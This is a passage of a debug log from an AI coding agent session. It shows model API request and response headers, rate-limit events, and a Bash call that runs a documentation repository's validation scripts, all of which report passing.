\"chunked\",\n[2026-09-29T07:56:24.831Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:56:24.838Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:56:24.841Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:56:24.847Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:56:24.853Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:56:24.856Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:56:24.861Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:56:24.864Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:56:24.868Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:56:24.871Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:56:24.874Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.42\",\n[2026-09-29T07:56:24.878Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:56:24.883Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:56:24.888Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:56:24.896Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:56:24.900Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:56:24.904Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:56:24.912Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:56:24.919Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:56:24.933Z] [STDOUT]   \"request-id\": \"req_011CfXNbLUuSKj5SPMNir4Fh\",\n[2026-09-29T07:56:24.948Z] [STDOUT]   \"traceresponse\": \"00-23cf267772fcde6e03eb27d7ccfdb74e-f501641e9d1f584e-01\",\n[2026-09-29T07:56:24.953Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:56:24.966Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:56:24.975Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:56:24.995Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:56:25.001Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:56:25.009Z] [STDOUT]   \"cf-ray\": \"a4296e58c8855d90-FRA\",\n[2026-09-29T07:56:25.066Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:56:25.071Z] [STDOUT] [log_7063dc] response parsed {\n[2026-09-29T07:56:25.076Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:56:25.086Z] [STDOUT]   status: 200,\n[2026-09-29T07:56:25.087Z] [STDOUT]   body: X {\n[2026-09-29T07:56:25.090Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:56:25.096Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:56:25.099Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:56:25.104Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:56:25.109Z] [STDOUT]     },\n[2026-09-29T07:56:25.112Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:56:25.113Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:56:25.115Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:56:25.118Z] [STDOUT]   },\n[2026-09-29T07:56:25.122Z] [STDOUT]   durationMs: 859,\n[2026-09-29T07:56:25.127Z] [STDOUT] }\n[2026-09-29T07:56:26.145Z] [INFO] {\n[2026-09-29T07:56:26.145Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:56:26.145Z] [INFO]   \"message\": {\n[2026-09-29T07:56:26.145Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:56:26.145Z] [INFO]     \"id\": \"msg_011CfXNbM1uGPCZmmookjn1V\",\n[2026-09-29T07:56:26.145Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:56:26.145Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:56:26.145Z] [INFO]     \"content\": [\n[2026-09-29T07:56:26.145Z] [INFO]       {\n[2026-09-29T07:56:26.145Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:56:26.145Z] [INFO]         \"id\": \"toolu_01Xj1YX7s3LVRLr2VKB4AdTa\",\n[2026-09-29T07:56:26.145Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:56:26.145Z] [INFO]         \"input\": {\n[2026-09-29T07:56:26.145Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; git show --stat --format= HEAD; ls -a | grep gitkeep; for t in tools/test-*.sh; do bash $t >/tmp/t.log 2>&1 && echo \\\"PASS $t\\\" || { echo \\\"FAIL $t\\\"; tail -5 /tmp/t.log; }; done 2>&1 | tail -20\",\n[2026-09-29T07:56:26.145Z] [INFO]           \"description\": \"Locate .gitkeep and run repository tests\"\n[2026-09-29T07:56:26.145Z] [INFO]         },\n[2026-09-29T07:56:26.145Z] [INFO]         \"caller\": {\n[2026-09-29T07:56:26.145Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:56:26.145Z] [INFO]         }\n[2026-09-29T07:56:26.145Z] [INFO]       }\n[2026-09-29T07:56:26.145Z] [INFO]     ],\n[2026-09-29T07:56:26.145Z] [INFO]     \"container\": null,\n[2026-09-29T07:56:26.145Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:56:26.145Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:56:26.145Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:56:26.145Z] [INFO]     \"usage\": {\n[2026-09-29T07:56:26.145Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:56:26.145Z] [INFO]       \"cache_creation_input_tokens\": 1159,\n[2026-09-29T07:56:26.145Z] [INFO]       \"cache_read_input_tokens\": 61936,\n[2026-09-29T07:56:26.145Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:56:26.145Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:56:26.145Z] [INFO]         \"ephemeral_1h_input_tokens\": 1159\n[2026-09-29T07:56:26.145Z] [INFO]       },\n[2026-09-29T07:56:26.145Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:56:26.145Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:56:26.145Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:56:26.145Z] [INFO]     },\n[2026-09-29T07:56:26.145Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:56:26.145Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:56:26.145Z] [INFO]     \"context_management\": null\n[2026-09-29T07:56:26.145Z] [INFO]   },\n[2026-09-29T07:56:26.145Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:56:26.145Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:26.145Z] [INFO]   \"uuid\": \"3fb3c23b-aa12-4b1d-840e-99b0b4710345\",\n[2026-09-29T07:56:26.145Z] [INFO]   \"timestamp\": \"2026-09-29T07:56:26.134Z\",\n[2026-09-29T07:56:26.145Z] [INFO]   \"request_id\": \"req_011CfXNbLUuSKj5SPMNir4Fh\",\n[2026-09-29T07:56:26.145Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:56:26.145Z] [INFO]     \"toolu_01Xj1YX7s3LVRLr2VKB4AdTa\": {\n[2026-09-29T07:56:26.145Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; git show --stat --format= HEAD; ls -a | grep gitkeep; for t in tools/test-*.sh; do bash $t >/tmp/t.log 2>&1 && echo \\\"PASS $t\\\" || { echo \\\"FAIL $t\\\"; tail -5 /tmp/t.log; }; done 2>&1 | tail -20\",\n[2026-09-29T07:56:26.145Z] [INFO]       \"description\": \"Locate .gitkeep and run repository tests\"\n[2026-09-29T07:56:26.145Z] [INFO]     }\n[2026-09-29T07:56:26.145Z] [INFO]   }\n[2026-09-29T07:56:26.145Z] [INFO] }\n[2026-09-29T07:56:26.167Z] [INFO] {\n[2026-09-29T07:56:26.167Z] [INFO]   \"type\": \"rate_limit_event\",\n[2026-09-29T07:56:26.167Z] [INFO]   \"rate_limit_info\": {\n[2026-09-29T07:56:26.167Z] [INFO]     \"status\": \"allowed_warning\",\n[2026-09-29T07:56:26.167Z] [INFO]     \"resetsAt\": 1790679600,\n[2026-09-29T07:56:26.167Z] [INFO]     \"rateLimitType\": \"seven_day\",\n[2026-09-29T07:56:26.167Z] [INFO]     \"utilization\": 0.77,\n[2026-09-29T07:56:26.167Z] [INFO]     \"isUsingOverage\": false,\n[2026-09-29T07:56:26.167Z] [INFO]     \"surpassedThreshold\": 0.75,\n[2026-09-29T07:56:26.167Z] [INFO]     \"unifiedWindows\": {\n[2026-09-29T07:56:26.167Z] [INFO]       \"five_hour\": {\n[2026-09-29T07:56:26.167Z] [INFO]         \"utilization\": 0.42,\n[2026-09-29T07:56:26.167Z] [INFO]         \"resetsAt\": 1790678400\n[2026-09-29T07:56:26.167Z] [INFO]       },\n[2026-09-29T07:56:26.167Z] [INFO]       \"seven_day\": {\n[2026-09-29T07:56:26.167Z] [INFO]         \"utilization\": 0.77,\n[2026-09-29T07:56:26.167Z] [INFO]         \"resetsAt\": 1790679600\n[2026-09-29T07:56:26.167Z] [INFO]       }\n[2026-09-29T07:56:26.167Z] [INFO]     }\n[2026-09-29T07:56:26.167Z] [INFO]   },\n[2026-09-29T07:56:26.167Z] [INFO]   \"uuid\": \"995b6ba5-66ca-418c-86a0-2433b623d9f8\",\n[2026-09-29T07:56:26.167Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:56:26.167Z] [INFO] }\n[2026-09-29T07:56:29.184Z] [INFO] {\n[2026-09-29T07:56:29.184Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:56:29.184Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T07:56:29.184Z] [INFO]   \"task_id\": \"bdpybtf2y\",\n[2026-09-29T07:56:29.184Z] [INFO]   \"tool_use_id\": \"toolu_01Xj1YX7s3LVRLr2VKB4AdTa\",\n[2026-09-29T07:56:29.184Z] [INFO]   \"description\": \"Locate .gitkeep and run repository tests\",\n[2026-09-29T07:56:29.184Z] [INFO]   \"is_backgrounded\": false,\n[2026-09-29T07:56:29.184Z] [INFO]   \"task_type\": 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{\n[2026-09-29T07:57:26.164Z] [INFO]   \"type\": \"tool_progress\",\n[2026-09-29T07:57:26.164Z] [INFO]   \"tool_use_id\": \"toolu_01Xj1YX7s3LVRLr2VKB4AdTa-heartbeat-1\",\n[2026-09-29T07:57:26.164Z] [INFO]   \"tool_name\": \"Bash\",\n[2026-09-29T07:57:26.164Z] [INFO]   \"parent_tool_use_id\": \"toolu_01Xj1YX7s3LVRLr2VKB4AdTa\",\n[2026-09-29T07:57:26.164Z] [INFO]   \"elapsed_time_seconds\": 60,\n[2026-09-29T07:57:26.164Z] [INFO]   \"heartbeat\": true,\n[2026-09-29T07:57:26.164Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:57:26.164Z] [INFO]   \"uuid\": \"9a86999b-7507-49c3-a429-eec9e2b9e786\"\n[2026-09-29T07:57:26.164Z] [INFO] }\n[2026-09-29T07:57:56.163Z] [INFO] {\n[2026-09-29T07:57:56.163Z] [INFO]   \"type\": \"tool_progress\",\n[2026-09-29T07:57:56.163Z] [INFO]   \"tool_use_id\": \"toolu_01Xj1YX7s3LVRLr2VKB4AdTa-heartbeat-2\",\n[2026-09-29T07:57:56.163Z] [INFO]   \"tool_name\": \"Bash\",\n[2026-09-29T07:57:56.163Z] [INFO]   \"parent_tool_use_id\": \"toolu_01Xj1YX7s3LVRLr2VKB4AdTa\",\n[2026-09-29T07:57:56.163Z] [INFO]   \"elapsed_time_seconds\": 90,\n[2026-09-29T07:57:56.163Z] [INFO]   \"heartbeat\": true,\n[2026-09-29T07:57:56.163Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:57:56.163Z] [INFO]   \"uuid\": \"b29b43f9-ddbc-4322-bba3-c3a2cf93a0e1\"\n[2026-09-29T07:57:56.163Z] [INFO] }\n[2026-09-29T07:58:26.169Z] [INFO] {\n[2026-09-29T07:58:26.169Z] [INFO]   \"type\": \"tool_progress\",\n[2026-09-29T07:58:26.169Z] [INFO]   \"tool_use_id\": \"toolu_01Xj1YX7s3LVRLr2VKB4AdTa-heartbeat-3\",\n[2026-09-29T07:58:26.169Z] [INFO]   \"tool_name\": \"Bash\",\n[2026-09-29T07:58:26.169Z] [INFO]   \"parent_tool_use_id\": \"toolu_01Xj1YX7s3LVRLr2VKB4AdTa\",\n[2026-09-29T07:58:26.169Z] [INFO]   \"elapsed_time_seconds\": 120,\n[2026-09-29T07:58:26.169Z] [INFO]   \"heartbeat\": true,\n[2026-09-29T07:58:26.169Z] [INFO]   \"session_id\": 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}\n[2026-09-29T07:58:26.188Z] [INFO] {\n[2026-09-29T07:58:26.188Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:58:26.188Z] [INFO]   \"subtype\": \"task_updated\",\n[2026-09-29T07:58:26.188Z] [INFO]   \"task_id\": \"bdpybtf2y\",\n[2026-09-29T07:58:26.188Z] [INFO]   \"patch\": {\n[2026-09-29T07:58:26.188Z] [INFO]     \"is_backgrounded\": true\n[2026-09-29T07:58:26.188Z] [INFO]   },\n[2026-09-29T07:58:26.188Z] [INFO]   \"uuid\": \"3853cf3c-f360-4a25-a7db-347dc60dd85b\",\n[2026-09-29T07:58:26.188Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:58:26.188Z] [INFO] }\n[2026-09-29T07:58:26.686Z] [INFO] {\n[2026-09-29T07:58:26.686Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:58:26.686Z] [INFO]   \"message\": {\n[2026-09-29T07:58:26.686Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:58:26.686Z] [INFO]     \"content\": [\n[2026-09-29T07:58:26.686Z] [INFO]       {\n[2026-09-29T07:58:26.686Z] [INFO]         \"tool_use_id\": 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Output is being written to: /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bdpybtf2y.output. You will be notified when it completes. To check interim output, use Read on that file path.\\nSession cwd remains /tmp/gh-issue-solver-1790667776920; directory changes made by the backgrounded command do not apply to subsequent commands.\",\n[2026-09-29T07:58:26.686Z] [INFO]         \"is_error\": false\n[2026-09-29T07:58:26.686Z] [INFO]       }\n[2026-09-29T07:58:26.686Z] [INFO]     ]\n[2026-09-29T07:58:26.686Z] [INFO]   },\n[2026-09-29T07:58:26.686Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:58:26.686Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:58:26.686Z] [INFO]   \"uuid\": \"ccb46e29-3994-4bf9-81cb-a67bdc5e07e2\",\n[2026-09-29T07:58:26.686Z] [INFO]   \"timestamp\": \"2026-09-29T07:58:26.680Z\",\n[2026-09-29T07:58:26.686Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:58:26.686Z] [INFO]     \"stdout\": \"\",\n[2026-09-29T07:58:26.686Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:58:26.686Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:58:26.686Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:58:26.686Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T07:58:26.686Z] [INFO]     \"backgroundTaskId\": \"bdpybtf2y\",\n[2026-09-29T07:58:26.686Z] [INFO]     \"timedOutAfterMs\": 120000,\n[2026-09-29T07:58:26.686Z] [INFO]     \"backgroundCwdHint\": \"Session cwd remains /tmp/gh-issue-solver-1790667776920; directory changes made by the backgrounded command do not apply to subsequent commands.\"\n[2026-09-29T07:58:26.686Z] [INFO]   }\n[2026-09-29T07:58:26.686Z] [INFO] }\n[2026-09-29T07:58:26.769Z] [STDOUT] [log_79163c] sending request {\n[2026-09-29T07:58:26.775Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:58:26.780Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:58:26.785Z] [STDOUT]   options: {\n[2026-09-29T07:58:26.788Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:58:26.792Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:58:26.794Z] [STDOUT]     body: {\n[2026-09-29T07:58:26.797Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:58:26.799Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:58:26.801Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:58:26.804Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:58:26.806Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:58:26.808Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:58:26.810Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:58:26.811Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:58:26.813Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:58:26.817Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:58:26.821Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:58:26.826Z] [STDOUT]       stream: true,\n[2026-09-29T07:58:26.832Z] [STDOUT]     },\n[2026-09-29T07:58:26.835Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:58:26.841Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:58:26.844Z] [STDOUT]       aborted: false,\n[2026-09-29T07:58:26.845Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:58:26.847Z] [STDOUT]       onabort: null,\n[2026-09-29T07:58:26.849Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:58:26.851Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:58:26.853Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:58:26.855Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:58:26.858Z] [STDOUT]     },\n[2026-09-29T07:58:26.861Z] [STDOUT]     stream: true,\n[2026-09-29T07:58:26.864Z] [STDOUT]   },\n[2026-09-29T07:58:26.867Z] [STDOUT]   headers: {\n[2026-09-29T07:58:26.871Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:58:26.875Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:58:26.879Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:58:26.882Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:58:26.886Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:58:26.889Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:58:26.892Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:58:26.896Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:58:26.899Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:58:26.902Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=120515\",\n[2026-09-29T07:58:26.909Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:58:26.914Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:58:26.929Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:58:26.932Z] [STDOUT]     \"x-client-request-id\": \"62d4f645-c18b-4cdd-9b3f-32f92b2cb2e9\",\n[2026-09-29T07:58:26.938Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:58:26.947Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:58:26.950Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:58:26.955Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:58:26.960Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:58:26.964Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:58:26.968Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:58:26.974Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:58:26.978Z] [STDOUT]   },\n[2026-09-29T07:58:26.985Z] [STDOUT] }\n[2026-09-29T07:58:27.856Z] [STDOUT] [log_79163c, request-id: \"req_011CfXNkQHrQt9DNKMqtLsBk\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1089ms\n[2026-09-29T07:58:27.860Z] [STDOUT] [log_79163c] response start {\n[2026-09-29T07:58:27.864Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:58:27.866Z] [STDOUT]   status: 200,\n[2026-09-29T07:58:27.869Z] [STDOUT]   headers: {\n[2026-09-29T07:58:27.872Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:58:27.875Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:58:27.879Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:58:27.884Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.43\",\n[2026-09-29T07:58:27.888Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:58:27.892Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:58:27.895Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:58:27.898Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T07:58:27.901Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:58:27.904Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:58:27.907Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": 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charset=utf-8\",\n[2026-09-29T07:58:27.964Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:58:27 GMT\",\n[2026-09-29T07:58:27.966Z] [STDOUT]     \"request-id\": \"req_011CfXNkQHrQt9DNKMqtLsBk\",\n[2026-09-29T07:58:27.971Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:58:27.976Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:58:27.982Z] [STDOUT]     traceresponse: \"00-c30d31fed55797bfce0eab9bc4bd13d8-dc3c724ea40c6e16-01\",\n[2026-09-29T07:58:27.988Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:58:27.991Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:58:27.996Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:58:28.000Z] [STDOUT]   },\n[2026-09-29T07:58:28.004Z] [STDOUT]   durationMs: 1089,\n[2026-09-29T07:58:28.011Z] [STDOUT] }\n[2026-09-29T07:58:28.017Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:58:28.020Z] [STDOUT]   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\"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:58:28.066Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:58:28.071Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.43\",\n[2026-09-29T07:58:28.076Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:58:28.079Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:58:28.085Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:58:28.088Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:58:28.091Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:58:28.094Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:58:28.096Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T07:58:28.098Z] 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url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:58:28.155Z] [STDOUT]   status: 200,\n[2026-09-29T07:58:28.160Z] [STDOUT]   body: X {\n[2026-09-29T07:58:28.164Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:58:28.168Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:58:28.170Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:58:28.172Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:58:28.179Z] [STDOUT]     },\n[2026-09-29T07:58:28.190Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:58:28.193Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:58:28.200Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:58:28.208Z] [STDOUT]   },\n[2026-09-29T07:58:28.223Z] [STDOUT]   durationMs: 1091,\n[2026-09-29T07:58:28.232Z] [STDOUT] }\n[2026-09-29T07:58:28.238Z] [INFO] {\n[2026-09-29T07:58:28.238Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:58:28.238Z] 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    \"content\": \" .gitkeep | 1 +\\n 1 file changed, 1 insertion(+)\\nPASS ./tools/validate-frontmatter.sh .\\nPASS ./tools/validate-file-naming.sh\\nPASS ./tools/validate-repository-structure.sh\\nPASS ./tools/validate-rrp-links.sh\\nPASS python3 tools/generate-manifest.py --check\\n27:## \u041f\u043e\u0447\u0435\u043c\u0443 \u043c\u043e\u0434\u0443\u043b\u0438 \u0436\u0438\u0432\u0443\u0442 \u0437\u0434\u0435\u0441\u044c\\n43:## \u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 Source\\n117:## \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043e GigaCode CLI\\n127:## \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430\\n140:## \u0420\u0435\u0448\u0435\u043d\u0438\u044f\\n157:## \u041f\u043e\u043b\u0438\u0442\u0438\u043a\u0430 \u0441\u0441\u044b\u043b\u043e\u043a\",\n[2026-09-29T07:59:35.303Z] [INFO]         \"is_error\": false\n[2026-09-29T07:59:35.303Z] [INFO]       }\n[2026-09-29T07:59:35.303Z] [INFO]     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      }\n[2026-09-29T07:59:35.303Z] [INFO]       ],\n[2026-09-29T07:59:35.303Z] [INFO]       \"moreFiles\": 0,\n[2026-09-29T07:59:35.303Z] [INFO]       \"changedFiles\": [\n[2026-09-29T07:59:35.303Z] [INFO]         \"/tmp/gh-issue-solver-1790667776920/mkdocs.yml\"\n[2026-09-29T07:59:35.303Z] [INFO]       ]\n[2026-09-29T07:59:35.303Z] [INFO]     }\n[2026-09-29T07:59:35.303Z] [INFO]   }\n[2026-09-29T07:59:35.303Z] [INFO] }\n[2026-09-29T07:59:35.454Z] [STDOUT] 